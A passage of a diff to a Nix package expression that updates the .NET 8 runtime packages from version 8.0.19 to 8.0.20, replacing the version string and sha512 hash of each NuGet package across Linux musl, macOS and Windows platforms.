-        hash = "sha512-kRSdI5ex95sqFc2DBQ9sddp0cRLAdy150AFVdK1LbwyoYceP9OrEgp2gImAC2nvsFPh/ol8XioV4SHwPss1haA==";
+        version = "8.0.20";
+        hash = "sha512-0rCiA+fx9zQX9+LvmvjKbdKqpAqYrvZRBE/bXM8qLGpBcLyIK63IKBUCaG4CXH9biy1NLG7fSp2CfaI21d6r9g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-bTvHoP75ZewPL2+dt0fdwKBgEGxZxyQLLc4KspJ2z728QXBtAdvdjoMoHwbOyC//oApzcB68v7jP5ADmfzk5Rw==";
+        version = "8.0.20";
+        hash = "sha512-kmsMtjMZD0mp0kQqZIWMRAXKDSDwyBdNADDSyc0kjT2A/QXy90m9+fS4g18Fc8XUT/LDaJDCH/hAEnN4/z77Zg==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.19";
-        hash = "sha512-bBiA+tLA5pZOrtC4u9KhUlh8mcXFMZoUmGLDII4Iu5uJxWoq2tox70OHOgjwbHF83Q5600xAX/lJ4cNw9WVIJg==";
+        version = "8.0.20";
+        hash = "sha512-rm8nD/z9X7KYcYBV4z8mt5QGIWQjkh6YJygK2+Vj3kCy/s1KCNXVoHMgnZ8XrX20t2vC03gpPPK+s1MI0Kwgng==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.19";
-        hash = "sha512-rTUR6aubOfJFQOnmWuYhhzWQfT2SgnMXNglHXNTk9uod+C+P20ZaiJGU0YUObsNhi52MeTObNXPorBBqk5yKqQ==";
+        version = "8.0.20";
+        hash = "sha512-dOhLVfBO916TVgUqNwcaw7zTqs67iFRoJRl3jUweVFU6tgKpsiD8kMu3mkJ3wZ4VPFrJVKQ8+CCZ8jyZ8r4zfQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.19";
-        hash = "sha512-s4W4o/3xrWkMYmpYeRVk/POlelIZ1XuHvVFhC760mVp8jN1zvyhJ5anAR2DKBOP8RhrMRQAyvv6g+5yYG/b1HQ==";
+        version = "8.0.20";
+        hash = "sha512-ealoK3QVdtxWrKol2M3EvRN5PiUNN5PbhSVM3QE4mqxTknorsJwTvMm0YxqP7ii409KlttWLGLXzm2oqsVnkXQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-nFTMBMKK0daVxvMxE0ORujxVBRSbdfBDZ9em4i4rbipCjmy9tFMbyzTccG3HykaG5X8czARrWs2zZMMRjwnNRQ==";
+        version = "8.0.20";
+        hash = "sha512-WEaxn8dvmeGfUjdkmWLVMibh7VRCFn6YPARsFPaKY6hhp9q5Y4qfc7s632igIsfm2H1NFKGaWfqAccD1aVQZGg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-Jvzq5CmlYbc31/jf36++T/7PLMzkD5PemLeIM9i1lo8R53yRT8CjoyJhJ1GXWrdRCdwEqbGU2LDDCp10lWSyhw==";
+        version = "8.0.20";
+        hash = "sha512-hOcmXXo82VDqnbX+RaBFTXqglvYGxTwx7iM+JmYgcxnlhb1EV5NIWeNoLcEudBCijRgTRufJFAQES3U6s12LNQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-ZEiEHIQnRNuCJpyuUqtIDgS+m6ZtlHSuDwqxdnEUV8RQtsgcLGF4kMnr7sfw/BjjRqLwf79lcRCiOFWVrwiiZQ==";
+        version = "8.0.20";
+        hash = "sha512-SpmPD+pPVdq/adTKdsnIQIVyOlN+lUOj0ao89HKn93z3GPNr0wPkUPAOKScGJ+a5OztwBCxIBQrXYstIi4w18w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-pdJKTqFZEnWjO7YX3c1FU+gGB4/l+tILT5cDzRUUxf3hkUT8FeWzxcYLUySWk1MyoQcHLbyLvR1rygGbOf2y0w==";
+        version = "8.0.20";
+        hash = "sha512-KNrsKUKMljQJion4qdaFPBiFi+YbJsLMJ5vs44yawMhBOo9NObr7aw0mpYvJG6uhVgerM4xqTKaCPMF5Xc+Y7w==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.19";
-        hash = "sha512-+I52qNaW8BZAbCUO26826ZCHUjXB7OXdMbS+bAOOv3gt/yAZ3NiN7RSj7BhO3yfQdam5YBbuj0cBiqdrayJhNA==";
+        version = "8.0.20";
+        hash = "sha512-JJYQ7liq6SOwcx6Tk0qi09EimH/SS4+qskF/qvzFC9wuJzAzL+rPkfBPZNRA/l7CRaBJ2SYF3Iy/jIGWHHb2+w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.19";
-        hash = "sha512-dV/b0WViiujT19HQwz6fLKUB/orjGRJudQIQFmHM1Q/0mJ2Hr8GK103ZMpXHHGH+Fl/TqSCQzu8t/U0F9q3+Kw==";
+        version = "8.0.20";
+        hash = "sha512-UfD6B3qxSQWT1vcKxPi5V6FwmxKTgOFQxncFyIvJTr+9s7HrSJXieOLicqoO3yqdt/Kzzk7p6wjV0A7neBp35w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.19";
-        hash = "sha512-S9oXhzzMHc7eNO+f6qwEDddpBzzeTqtasZ+HpSFPkCQwolaJ+FMe+YoDDvsvsyzr55rCIhjl1HlhzMyv18TFtg==";
+        version = "8.0.20";
+        hash = "sha512-osKzTHfYnmPn3KWbni+S6g3hpoAsI8K1cwgt9q2w+yKX1M7aZbRVD3jlDgGDRqMP4qEB0IiwL9LL2oxKGMpocQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-PwRDoFO8M8OPF6RzJfXYamSsXKCNqbZBS075eSp7b/+gGusjVHZ0ZAcVpLCQJWQmcR0AVx5g0VfN+Yu9F7NDvA==";
+        version = "8.0.20";
+        hash = "sha512-tl8FRifWfQTJCGijYeHICJm8MVpmlrRdRZSjb3ngn11aUrPT3kUgez5ACfONPuRiGytSqvFdZETs8IQ5QC+WGg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-9OHIz+fXQuYSL90LYJaPctGzan90FFiwJRDCTA4Zc32vDaXagKtJ/QCiTnqomCsyo7JZDLTkKdasArGfvdbZRw==";
+        version = "8.0.20";
+        hash = "sha512-TTYIos9sWCsMlqZ1d+zuSC8KrGQ5qiDlaX20Z+/PKKDc4IEcEZoHHAHw6HRbOaCN2+Q22h/rPZQZNAZsafwcQg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-VcehwYA/43AmPo9udZYDx6UMQXxI5hMh0h9gKK8qrdT9B0dJaVfdlKvlAs6uN/wGQId6ggVRJbRUZnKLpdoDsg==";
+        version = "8.0.20";
+        hash = "sha512-1350+8oe4EDEOPOrIq+MjFZ8KiOHmCE9gbLbFq7ELGjbrL1Q6WGO3zehotUUkGm0LkyYV574h624xFa4NHSilQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-g/LtDzB8jRYARNCN2q878xlDIeuRifUl3kSucaLoh30Z3cngd6+Aej3+cpZYMgM7jz+llfow0Bn4OJWvt1gqpQ==";
+        version = "8.0.20";
+        hash = "sha512-wVeihvD869ze+VzQTYgrYVUDGvP/3MHrU7oTnGCFU+9EHIjrsgC0kzV/Br0ix7lQBbhkvQMUlO1PJ4Ti1NN5EA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.19";
-        hash = "sha512-k0G2wrG2HHgC9p3BlePoshY+dhCtTHIvwaOd10DP0Uxanc2p1A1DAiekzJJPyigijzNXVX485Dp+muCPcfOjhA==";
+        version = "8.0.20";
+        hash = "sha512-2Yp4gHZDcFjP3/Tneo4kNR8xdU1wnVKnlRqyrfoNY/7aGdqC0gT3bHfCQn2Yx2dqcPw9OiWTlQupG+lSOzshMQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.19";
-        hash = "sha512-KUPz6ft9EX6olnkY4hJESg7vX00GBD8VF9J5d1kV7E50sUNAT1csl69MzINcdtFHoc5DXF+rEB6lVGH05h1u9w==";
+        version = "8.0.20";
+        hash = "sha512-84ttmC61etKqolo6LQNDUutTAPFegR/OfhjjsVRd9Eb4nOSfsj1B+5DrtAZOySdDr4ajEXDDGQZxfwRppD2ReQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.19";
-        hash = "sha512-+x0kVdmffJet7+YuFHKcREPMBV37bx7e4kfAjbD+5/+dA5KyAffcrQore4+gp8y9GY5q/lxgHpLdT9YF4X8ZVQ==";
+        version = "8.0.20";
+        hash = "sha512-UtAxgEjg4ouof5y4cRcTWVnx13chf5GjUx8tLnPoVvVy4nCQ1vAXz8p7xpX7ynIcOv0+xeE6gB2lqAUrBt6BRA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.19";
-        hash = "sha512-v+Q43E/2RVECjIjyU/yIaKAdK2ipwf9iJ95LlFtBVaIxev+/CuFI6qiZ7TPWmh6ZmdlilqNdqFQj7qngTZG+fw==";
+        version = "8.0.20";
+        hash = "sha512-qQhPKP9gvxC5amms/hUOZstl3G15nSysUNusJyQFez4mssEMByaggQFcNSJQ7qVdUbHBe8pr7oXq+gqLeRh3mQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-FjuQE98YBxVTdMqhMN6ciE8af/J6EwkpW4XYC7vcJz53gSWJvB416C9Bs/1R09hP7Mua3lxTCzhKfnxWUmxCCw==";
+        version = "8.0.20";
+        hash = "sha512-BqGeZS7zLL21E3m9/kFnQJiMa/RDzH5IDxZ6Ie6GqGIWF/2JCrpFQ0Tojdztsd2HOyB0et4f4zmk5NwwJixRmA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-fWdoxak72kgmdK/e31YPvADhoFXjIOuUTe5BfhNr+oXFX6jCGxttf3L/W3NKzMntuHqpy303d3IrtgICJu75EA==";
+        version = "8.0.20";
+        hash = "sha512-9eAKWh0ctsXZIPyIFj98xnLmdvzGykKnKGnq/wCXDpSl31H32ZPk8ykHvdTsoWet2dgpXDk4QEmkDCQ7k3Jtvw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-P1RHomV7Ei5h31DTIQOtUNMq/CziuWdfjmtU9ykBOWyWBH3aCl1K3jDm2hUs88C8Cb7NuOP0FI6So59ic8lhmQ==";
+        version = "8.0.20";
+        hash = "sha512-ZhhScmWp7O3PQmDF4/P9yrJcbmxRRG5xWyun4/tgQ0tRiB5yWHi4GsEC1qYWDBeZgCWh3R/RQZpfrQw7XDEqzg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-olOQVkYIeCv0FFYfrV9IfFJVLAnhjk1T/HDIRiNnyJ7JH8HFVytxAx8hQaIPL5xLGQquM/mxPlAoH0Tm2+k6XA==";
+        version = "8.0.20";
+        hash = "sha512-zVpBal6XL6NzaWjLMILvv+xmd+dVgGzJxUkAUANFNzaA2tzaAhUdM+o/c/diSRXn90twNRTqZVjxN2gmHpOorA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.19";
-        hash = "sha512-4tRtmqt7/dUFo5EUzDwZ7CWYn3mOXbLO8+kQ23+CwPaTmkisNhOVX8oAAG6U2LZ2lCms6bFz0SI/C9zSMd+2Xw==";
+        version = "8.0.20";
+        hash = "sha512-nzloh0qieQdMYcVvdyDGh5mhIY8iX23btA4fml7QkN5mP44bfBhhKEn/x7XUUmOyiWU803ilQrXKq2w1KldH8Q==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.19";
-        hash = "sha512-Q5PYdYTILXVSPTTXfKn+O8IvUH7kxY1YHc+Xl3r2aIUS7cAbKaWAV2S2WGUwlrC64E+ECyApC8hkJo8z7VOjHw==";
+        version = "8.0.20";
+        hash = "sha512-9FXDRSRDPn7Rv0kBhZcK8vHcXdPsWATa/qmRUYHAz1NOjJmwyvP0mUE4n5RyxCzBXftCC0MxefYthO2hyaHXyw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.19";
-        hash = "sha512-2vg1H2cjXAZAiFqhuej6VRDPyFuiye5t6T4wdtCtQtE/xQYY2T2CgU1ibeLEFusezKhPYLHV5lJn040UevXhpA==";
+        version = "8.0.20";
+        hash = "sha512-xyfTViQUODt2a2Ddv+/43rAx6OznKrdztETIKWojJSKtZ99h7xjRsnTl3wfGNF4rsO+zwwsjzQvimB2qhacBtw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.19";
-        hash = "sha512-Ci70ENA+3UZOxnQWgPUXuAuiWX9vtQVewQjkgds9plKsZTz9d1YsIsJcZy6yHeoOsJshiWmOfmTI2BlXtUsRIA==";
+        version = "8.0.20";
+        hash = "sha512-2Yh4LcGEhJdGywCpcnzSBjR+JdBRfNq40UUawMyEZVCW4agwE9F0oLte1tETd0xBAKgpkLaSKApIyOu0E+zhJQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-aA/2lxsdfu47/Jy97k0WO3jbA/8TCtc4eXli0zlHw9g3WFE7PcHlw52nLoY8nvTh6baB98f0mNE7nHqyWQ58mQ==";
+        version = "8.0.20";
+        hash = "sha512-WuPzqbeh1mS2QY5urYXIg9rec0pwt6soof/ikSX4B3nN6oE5bG65AwtQH1SLqcIHbFXH5qIWMRHEyorKeXRd6A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-L0EG4UgRxbfDAXXMBIOCGt6MFCjEvasR0xUkriJZgK4YBldO47mePbesFxSGVCAtz0+t0hH2JNPZXBpKPajjBQ==";
+        version = "8.0.20";
+        hash = "sha512-PNwoTDK3fAoa16XlhCkfGxAw4Lh54aMxLN+oADsGtbTuDewjlmClsg29xXXfkXaPVt6wT6dJ4nS5S4QEx5nAqg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-MKWcwNJiO1e0fBQVHcJWnAYwwLqe78HtaCrWr9Bhe00bTeZb38+e/59tW68O+W81RbGJ9teBuUWHnk8MGQsTuQ==";
+        version = "8.0.20";
+        hash = "sha512-43bjE2OWN9+3d8vAlUltpr3Lf+TS1xNiFBXZCw8PDAJIr80PhWyyKmAUj8LSmFkKRxNED5mlcF/oH7bID2Dtfg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-QLYgv1LYdehkZ64BaCQ/tAjhPdGDHEq4TmLY9Afh3Hi18UNZ43HldL5v3bJ8rHsScoRf6mNCOjtiahBU1ziPVg==";
+        version = "8.0.20";
+        hash = "sha512-JefSxGVUpddeKa+vtOiuPkVwUWsVN9IEcbIwz2kLnj/UNm1dWb4Dw8+bvGmrHOieKy1crNb+hUCNhaG1tlEpkQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.19";
-        hash = "sha512-cesMCMuSgKdhTe0G1Ix+RJ0dzrZa0r7SYsH6uQSXIR9zbSlyqs9EhqSP4GWoF8YuBc76AxYTSOuXp2hwqkmHCA==";
+        version = "8.0.20";
+        hash = "sha512-rIlOBxUbcuPPgUWA0rK3s4XeTRg1a53JE7cPdtFjBLlM0z+dmeBdzm3WIjpOGu/UKmMst5x5ryoujHLC3dX4xg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.19";
-        hash = "sha512-C/MtxBxoEnhHwQUdz776+FBVSuJgxqcaVp9IqoXjsE6axAq5M4opbs0DeaMyeiSCbHcsiihCDjnLnFb3uSVCVQ==";
+        version = "8.0.20";
+        hash = "sha512-AP9EHyB7ss5643rWAKE7FaRt/SVHPTUEhrKRISd5/HI3xnr9gnsjEUykX3fjVPp6ax8ICPb4T9IHf6/alLJXMg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.19";
-        hash = "sha512-K8JWBy0ampzz8lsHMAnnZY1m74C2aVQ8QTi77rQZpDFmDxXDwgvW8FArmRyN1eJC8cO0B/XKK+Ytwug0EqTTwA==";
+        version = "8.0.20";
+        hash = "sha512-YWtThzSyr27k7r9H/7Y8tYwYmrXgfaBq97UWLh8JDBfq+ghlP3KINgyLaTTAW3OIH5zU+ezy1MIhwqM8xZrPKw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.19";
-        hash = "sha512-y7SMliDR8ePTMmVj/VJWYI5R6kXeUuZDPfhyF0E7m+FzXaSbe7OgLGJbslkeoglZbyQ+GFPBeE/HqvHZwfrOMA==";
+        version = "8.0.20";
+        hash = "sha512-AfmWcWzB58IUuNWMpeAd+otKj0OALXxdZDwLnPhCySVk5/9EmT2WxceiQsXThfs1DxVW1R4o34Pu7HFQF7i0aA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-QEQSSsQ9tijRXHU6Xe1z4Xm+nLP0xSyG0pm4QV4IyNGCZGRYJ2B1WDKRRUR2yddaiZ4ic5ZyDFdUFFx7oHpzkQ==";
+        version = "8.0.20";
+        hash = "sha512-ew6SqixVxQdEjZCCqpdNQpl7L3/L8bJeaJoiIGidjDRel1yy9xIT6tWytPdJNFe/OJ2TEQmhqUfbHyXt5sa5nA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-4pRwedZaoa+WHS87F9xWVbOGLXnOAHMjgUhApg2rqAjXFmPNbgNJsXNe79WRin5b8F0A9RH7WqwCW0dC1MgJVA==";
+        version = "8.0.20";
+        hash = "sha512-S0y77RmklFuJxOqzT6FTFFXSH7BxHzFtFVY/EbdJkEG5XBuj/EgPUJgjSgObZyRKKxxEkA98x5wzddWzXRcO5Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-XTk+WJsxDOqUeAe6PLTNEPohOURWpufLTtnoLAB7jey4yRTs4BN1RVHB1fzb2JVYt0ZrmAGhFl65U2HP8freow==";
+        version = "8.0.20";
+        hash = "sha512-OT5q4JyXX7Nr/cy5jMdhAVt8NjgJ8/73Z/3qvWjz3PxoGgo1Q11gbS/h6COascUcY3URJOgwObkZ7eu2vseM0Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-HJm2e3BmQp1AmtazVr5GgRn3JDnvG/3Wy0b8PE3zToMKJ/ibUrjpmdxsCPjn1ZCJLTTwGf4rJGVj7ivivNBgkw==";
+        version = "8.0.20";
+        hash = "sha512-Yvidrsu5zVlxXAO/H/ybtAiipZHLZZSWeKZGfg6YWNsg7KuGw9hSQMe18PfuhWaYxzvxCxf0cA0jkA4ZOOVm9A==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.19";
-        hash = "sha512-CW2COJrFqYMeWd7hkNXlE3X05+9wEsxmAjW7oeGaU9FimgB9ksCOv9mqsf5Cu4IPDYHwQOuazvd63+89UjFBXQ==";
+        version = "8.0.20";
+        hash = "sha512-ZutvBMofw1MJ+9OG+kRmySbLG60y3VdFcCuqmEspF66qquHSqyXznz7Ex4grpvw4qyp8pZx/v8M890JTQZTyug==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.19";
-        hash = "sha512-3xbWEAv/E2aKa+0x6LIVsDFnjuLzyU5H/2ozDW8+nnA/JPdI1YWTTM5naxdIyWzRuGmxowfoUKd2aA2+qtt0Zw==";
+        version = "8.0.20";
+        hash = "sha512-PQidh2wSE073ZaKjf85LWQ75w9kuLMroHyJ7NWXUlIptHC+asUbHDUwUYHSilOYeTlNMxVeKcZ6qJ1zG7ubCJg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.19";
-        hash = "sha512-E/C4I96r86EjKqW2Tn2zN8390oSymQei/YhXg9QK7x2kBwuwCs5gTHaApUXxRp4d6BqqUaX7GNZesKq1FLqxNQ==";
+        version = "8.0.20";
+        hash = "sha512-FJGlsipj+/8ywOfkYnzimVWx3qSTiF6nsgKT/ysdeypBTC4YqRjc/alJksMRjOGLvJ/IWGfmbhVH5UTFZki8bQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-pGUh9N4I8QFfZ40Rmlyed7ATMT1boIYM+dLNdqhJPttttQzmv5gbFb0ed6sz7HvCYcfJTFWv32F8lTcLjp92GQ==";
+        version = "8.0.20";
+        hash = "sha512-nRJqYuX9OC7/S/SD9tSqYdjVJBLDpzOuzJN3r0s0eYn2xZYfzGqZqR1yHus1FQKnDECJMUlQXQ0S3PcXcel1Xg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-qAMK+KMMJqvY0U8L3knVx1zFK6G6nLvr7Pes2LGQQ5o/WXHGEIzju9Ga65NeF4thn/teXx+Cm2l41/QxiyJARg==";
+        version = "8.0.20";
+        hash = "sha512-qnSGS/vF3E8/gOxdhm8K0faqm3ldaKPFeksLzQRTZFi4o7Bi4AHwUaa7DK4JmRQZdATqJxXhau/JvvT02Gckzw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-Uu8uktFHgeD0K2HblQxoSpW9QXL/1QT1IDNQ9PTPQ0+qHUkASxpVmW22Q/OuLqjmhLoDuTwBQbzHTt1726hXow==";
+        version = "8.0.20";
+        hash = "sha512-8LrbEM9eLe18sAIWyWi7M3AAmjh05lZ7XkX6MXFzYm6zVJJ39E346zCGaTxbQ2NmoYv6OYN2Vxhz2Fpqh7wEVg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-Ai4Ufjt0Ax7HrQE8JtH7Y/zT4yas0XukRWRDBUrsuCIyddx4gm5u1lNCOZvJFIDerEacnWoRiUFW6CaKVlw1gg==";
+        version = "8.0.20";
+        hash = "sha512-TvXVK/2GINdFnI7XtkPRmLc4E7dBjUo4rZjsLb4CNzGz3D537cONTDDuWxjkAxoCacAbBi8MKLviPAewTo12Qw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.19";
-        hash = "sha512-u9qb/jJRjGTjkFRkSKQC9hfnK7IHDmP/PCbhYF7PiJH8/XlSpKcM5fhfZ68UxEuOnRpwTJNXxLISqgjffDorAQ==";
+        version = "8.0.20";
+        hash = "sha512-Z5s4bwM8OTiF9JU9wGu7j+3AO/xmt/UqvKR1zhw7KyeuzxFdvGRFhg7Jd0AfuzSrlFlu+M1br4mEe4Y3OAa7WQ==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.19";
-        hash = "sha512-aqqj3wMguPyHC9A+Za59KfhfKqKTZrX0b8YI5p2oQME6KL6FnUqnOBtMWA+EqVRmpnstuWbNQr7fYEZ6AkfZWw==";
+        version = "8.0.20";
+        hash = "sha512-iFfqMX5CyeyO0ZAkN7fwQ0TrOosiPl7g4CzNIswHurqho42akKt3n4z7NJ4oJXSuE7S0+QqSuT2uEXCBAdGs1g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.19";
-        hash = "sha512-4hGpGg8mphHFlJ/Z9q1VBUucrTrayVz8yf7Q01nheO3TIeJzR6oBif2CiiBggZWGjyze5om29FWUes3dku2Ddg==";
+        version = "8.0.20";
+        hash = "sha512-thAg1upqdp0FI0TdG0XeHbvzTvKfTB/bqr/U8eDN6C/hQlqzyTinvv7A9KDzUn+RsUIMr4WSHKsyO+VpjNntfg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.19";
-        hash = "sha512-M3DsPVjB/r8D0jQzJdPq0TetSSc1TbafVfzRMNfdzeXH8tLEjoW+f7X+/H8pRpFifnf1je/ZudShNx43EcStdA==";
+        version = "8.0.20";
+        hash = "sha512-9u88OqkWZze46aWsltLwCd8kZ9H90wjk1Npq2rNzvS2ZX+PzG6+c7PeRH+19esBREB9ii4E/Y6PnD7CqmLmxGw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-CV648uVcnDWldJRlFFi8Ew2nvp5KnJnnQEfPUoQKFATFHkAQbUIRNovRHfaNawXWGmKKn4/nzxKH+0lxs+VdBg==";
+        version = "8.0.20";
+        hash = "sha512-mdH+zdMoAcKWJHr/DRktxkDHEjhcqawma/+vd13IQsb/L7Ogt11c4ko3dQK+r1FnP3J3L0AX/NfpdzkFl/1kcA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-qGcn373HrhZLCxZf/hLlG/OgrmZ5XZkh2mzVci5IPsp8jzqimStPcI4M7jgpYXfAkP3KJ1DsgtcqnSSHxz1Q8A==";
+        version = "8.0.20";
+        hash = "sha512-Ajwwi5j8c370lpsBBFkOMD6G7RXwCgIRquEuUoYSfskfL6TNu8P84KWx9DAdEZyDR0djHOAYPRI0a4681weGYA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-BzT/17Ig4SqQIvkK42a3BcCQZMupZbtPTHBTdQn3qpgeZjXMiqxIxlbmrVqQcAMgFDo3EJlevy5hcDTLHd6YAQ==";
+        version = "8.0.20";
+        hash = "sha512-bScjeRSsoRSxW+MCnggiYaa3FNM8En4pnAcjIx41GZTof0sAGCA9/8ay7kf4+zXDPJFXBb+EBwGZuzVemMtY9g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-X2QLkgVo+ECd4ToqoXJs252UvB0gLF/pVzIADzczVmwnnZ3xw3QscvkEBQxTJRxfzH8y2n5BTJ7WXKVHPs6Gpw==";
+        version = "8.0.20";
+        hash = "sha512-cyjz6KHwDaCvpLR1DM9JsJB42iCvq655XojxuXb4Cfi1I/fJ3eUXvTf8lv6gWIkU99m50QhbO4/ZWte9+s4ymg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.19";
-        hash = "sha512-h422hRX55IIMQzTpHJXsKHWYTjmQhnu9SqH5etR8RToZpL9nIHXo0dWpl3bmsBpfKPhy+UUXU0OaR8OSbgzETA==";
+        version = "8.0.20";
+        hash = "sha512-jYFR6eljhQrhg5rDRzJ99SR4PyM/VVMvHSx08bTw52PIdmBLoVdwz/kS8XTfsJiRyqI1pBOWOCAhIQK8sy/EMA==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.19";
+  release_8_0 = "8.0.20";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.19";
+    version = "8.0.20";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-arm.tar.gz";
